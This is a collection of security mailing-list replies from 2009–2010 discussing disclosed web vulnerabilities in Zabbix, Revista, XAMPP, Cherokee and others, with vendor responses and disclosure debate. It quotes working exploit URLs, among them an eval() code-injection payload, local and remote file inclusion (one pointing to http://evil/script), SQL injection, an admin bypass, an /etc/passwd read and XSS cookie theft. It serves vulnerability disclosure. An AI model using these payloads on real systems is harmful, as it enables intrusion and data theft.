> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
